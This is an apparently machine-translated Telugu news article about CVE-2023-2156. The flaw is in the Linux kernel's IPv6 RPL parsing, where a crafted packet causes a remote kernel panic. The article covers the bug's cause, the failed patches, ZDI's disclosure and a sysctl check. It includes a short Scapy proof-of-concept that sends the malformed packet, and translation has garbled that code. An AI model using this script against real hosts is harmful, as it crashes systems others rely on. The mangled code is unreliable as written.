రిమోట్ కెర్నల్ క్రాష్‌ని అనుమతించే 0-రోజుల Linux IPv6 స్టాక్ దుర్బలత్వం

Linux కెర్నల్‌లో సరిదిద్దని (0-రోజుల) దుర్బలత్వం (CVE-2023-2156) గురించి సమాచారం బహిర్గతం చేయబడింది, ఇది ప్రత్యేకంగా రూపొందించిన IPv6 ప్యాకెట్‌లను (ప్యాకెట్-ఆఫ్-డెత్) పంపడం ద్వారా సిస్టమ్‌ను ఆపడానికి అనుమతిస్తుంది. RPL (లో-పవర్ మరియు లాస్సీ నెట్‌వర్క్‌ల కోసం రూటింగ్ ప్రోటోకాల్) ప్రోటోకాల్‌కు మద్దతు ప్రారంభించబడినప్పుడు మాత్రమే సమస్య కనిపిస్తుంది, ఇది పంపిణీలలో డిఫాల్ట్‌గా నిలిపివేయబడుతుంది మరియు ప్రధానంగా అధిక ప్యాకెట్ నష్టంతో వైర్‌లెస్ నెట్‌వర్క్‌లలో పనిచేసే ఎంబెడెడ్ పరికరాలలో ఉపయోగించబడుతుంది.

RPL ప్రోటోకాల్ పార్సింగ్ కోడ్‌లో బాహ్య డేటా యొక్క తప్పు ప్రాసెసింగ్ కారణంగా ఈ దుర్బలత్వం ఏర్పడుతుంది, ఇది నిర్థారణ వైఫల్యానికి దారి తీస్తుంది మరియు కెర్నల్ తీవ్ర భయాందోళన స్థితికి వెళుతుంది. k_buff (సాకెట్ బఫర్) నిర్మాణంలో IPv6 RPL ప్యాకెట్ హెడర్‌ను అన్వయించడం ద్వారా పొందిన డేటాను ఉంచినప్పుడు, CmprI ఫీల్డ్ 15కి, Segleft ఫీల్డ్ 1కి మరియు CmprEకి 0కి సెట్ చేయబడితే, చిరునామాలతో కూడిన 48-బైట్ వెక్టార్ డీకంప్రెస్ చేయబడుతుంది. 528 బైట్‌లకు మరియు బఫర్‌కు కేటాయించిన మెమరీ సరిపోని పరిస్థితి కనిపిస్తుంది. ఈ సందర్భంలో, skb_push ఫంక్షన్, డేటాను స్ట్రక్చర్‌లోకి నెట్టడానికి ఉపయోగించబడుతుంది, డేటా పరిమాణం మరియు బఫర్ మధ్య అసమానతను తనిఖీ చేస్తుంది, బఫర్ సరిహద్దును దాటి వ్రాయకుండా నిరోధించడానికి ఒక భయాందోళన స్థితిని సృష్టిస్తుంది.

ఉదాహరణ దోపిడీ: # మేము scapy నుండి ప్యాకెట్‌ను రూపొందించడానికి Scapyని ఉపయోగిస్తాము.అన్ని దిగుమతి * దిగుమతి సాకెట్ # మీ LAN ఇంటర్‌ఫేస్ నుండి IPv6ని ఉపయోగించండి DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # ప్యాకెట్‌ని పంపడానికి మేము సాకెట్లను ఉపయోగిస్తాము sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # ప్యాకెట్‌ను రూపొందించండి # రకం = 3 దీన్ని RPL ప్యాకెట్‌గా చేస్తుంది # చిరునామాలు 3 చిరునామాలను కలిగి ఉంటాయి, అయితే CmprI 15, # ప్రతి ఆక్టెట్ మొదటి రెండు చిరునామాలలో ఉంటుంది. యాంప్లిఫికేషన్‌ను ట్రిగ్గర్ చేయడానికి # సెగ్‌లెఫ్ట్ = 1గా పరిగణించబడుతుంది # లాస్ట్‌ఎంట్రీ = 0xf0 CmprIని 15కి మరియు CmprEని 0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting[3a:(types=8 :", "a7::", "a6::"], segleft=1, lastentry=0xf0) # ఈ చెడు ప్యాకెట్‌ని పంపండి sockfd.sendto(bytes(p), (DST_ADDR, 0))

కెర్నల్ డెవలపర్‌లకు జనవరి 2022లో హాని గురించి తిరిగి తెలియజేయడం గమనార్హం మరియు గత 15 నెలలుగా వారు సమస్యను పరిష్కరించడానికి మూడుసార్లు ప్రయత్నించారు, సెప్టెంబర్ 2022, అక్టోబర్ 2022 మరియు ఏప్రిల్ 2023లో ప్యాచ్‌లను విడుదల చేశారు, అయితే ప్రతిసారీ పరిష్కారాలు సరిపోదు మరియు దుర్బలత్వం పునరుత్పత్తి కాలేదు. అంతిమంగా, హానిని పరిష్కరించడానికి పనిని సమన్వయం చేసిన ZDI ప్రాజెక్ట్, కెర్నల్‌లో వర్కింగ్ ఫిక్స్ కోసం వేచి ఉండకుండా దుర్బలత్వం గురించి వివరణాత్మక సమాచారాన్ని విడుదల చేయాలని నిర్ణయించింది.

అందువల్ల, దుర్బలత్వం ఇప్పటికీ పరిష్కరించబడలేదు. ప్రత్యేకించి, 6.4-rc2 కెర్నల్‌లో చేర్చబడిన ప్యాచ్ అసమర్థమైనది. వినియోగదారులు తమ సిస్టమ్‌లలో RPL ప్రోటోకాల్ ఉపయోగించబడలేదని తనిఖీ చేయాలని సూచించారు, ఇది sysctl -a | grep -i rpl_seg_enabled

మూలం: opennet.ru

ఒక వ్యాఖ్యను జోడించండి